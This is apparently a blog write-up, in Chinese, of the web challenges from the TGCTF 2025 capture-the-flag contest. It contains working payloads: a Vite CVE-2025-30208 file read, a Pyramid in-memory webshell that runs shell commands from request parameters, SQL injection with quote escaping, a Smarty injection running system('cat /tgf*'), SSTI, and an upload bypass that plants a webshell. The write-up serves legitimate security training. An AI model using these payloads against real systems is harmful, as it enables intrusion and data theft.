当前位置: 首页 > news >正文

【Web】TGCTF 2025 题解

目录

前端GAME

偷渡阴平

熟悉的配方,熟悉的味道 

后台管理

老登,炸鱼来了?

火眼辩魑魅

直面天命

(ez)upload


前端GAME

是vite框架

参考

Vite CVE-2025-30208 安全漏洞 - 日升_rs - 博客园

/@fs/etc/passwd?import&raw??

 读/proc/1/cmdline

 读start.sh

 读 /tgflagggg

偷渡阴平

绕waf

<?php$tgctf2025=$_GET['tgctf2025'];if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushieval($tgctf2025);
}
else{die('(╯‵□′)╯炸弹!•••*~●');
}highlight_file(__FILE__);

 用session来绕

熟悉的配方,熟悉的味道 

经典pyramid框架,漏洞点在exec

致敬的强网杯2024

https://xz.aliyun.com/news/16090

payload:

exec("import sys;config = sys.modules['__main__'].config;app=sys.modules['__main__'].app;print(config);config.add_route('shell', '/shell');config.add_view(lambda request: Response(__import__('os').popen(request.params.get('1')).read()),route_name='shell');app = config.make_wsgi_app()")

成功打入内存马 

 

后台管理

显然有一处SQL注入,但waf掉了闭合的单引号

有点像西湖的sqli or not

【Web】2025西湖论剑·中国杭州网络安全安全技能大赛题解(全)_西湖论剑·中国杭州网络安全技能大赛 赛题-CSDN博客

对username后的引号进行转义,让username为  \' AND password = 

SELECT * FROM users WHERE username = '\' AND password = 'union select *,2 from flag--+'

老登,炸鱼来了?

 

无解的题目只能用条件竞争,竞争safe的值是否为nil

跑了一下没跑出来😓

 

火眼辩魑魅

smarty注入秒了

{if system('cat /tgf*');}{/if}

直面天命

扫出来./hint路由

访问./aazz

拿到源码

打SSTI 

 

blacklist去除'{'和'}',本地起个服务用fenjing梭一下,把{{}}换成天命难违 

(ez)upload

dirsearch扫出来一个bak

访问index.php.bak

看到upload.php

 

访问upload.php.bak看到上传文件的逻辑

 文件内容用PCRE回溯上限绕过,文件后缀用move_uploaded_file特性绕过

 参考

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

move_uploaded_file绕过 | Lazzaro 

 

成功传马

 

相关文章:

  • 植物大战僵尸杂交版v3.6最新版本(附下载链接)
  • Java的反射机制(曼波超易懂图文版)
  • 【inlining failed in call to always_inline ‘_mm_aesenclast_si128’】
  • Smart AI:在AI浪潮中崛起的智能NFT生态革命者
  • 【Python进阶】正则表达式实战指南:从基础到高阶应用
  • qemu如何支持vpxor %xmm0,%xmm0,%xmm0(百度AI)
  • 卷积神经网络基础(四)
  • Quantum Algorithms for Compositional Natural Language Processing论文阅读
  • 鸿蒙应用开发:如何修改APP名称与APP的图标
  • STM32串口重定向:MDK与GCC重定向需重写的不同函数
  • 如何使用 zRenamer 批量重命名文件后缀详细教程
  • 触摸传感器
  • CISA认证:IT审计的重要资格证书
  • Oracle高级语法篇-分析函数详解
  • 数据存储方式补码原码反码
  • RAGFlow:构建高效检索增强生成流程的技术解析
  • 大数据学习(111)-group by与partition by
  • Java—ConcurrentHashMap
  • JAVA:Web安全防御
  • CSS 记载
  • 宝马董事长:继续倡导自由贸易和开放市场,坚信全球性挑战需要多协作而非对立,将引入DeepSeek
  • 国际货币基金组织报告:将今年全球经济增长预期由此前的3.3%下调至2.8%
  • “75后”遂宁市长刘会英调任四川省人社厅党组副书记
  • 万斯偕印裔妻子访问印度,4天行程能否推进美印贸易谈判?
  • 新闻1+1丨居民水电气计量收费乱象,如何治?
  • 俄乌就不打击民用基础设施释放对话信号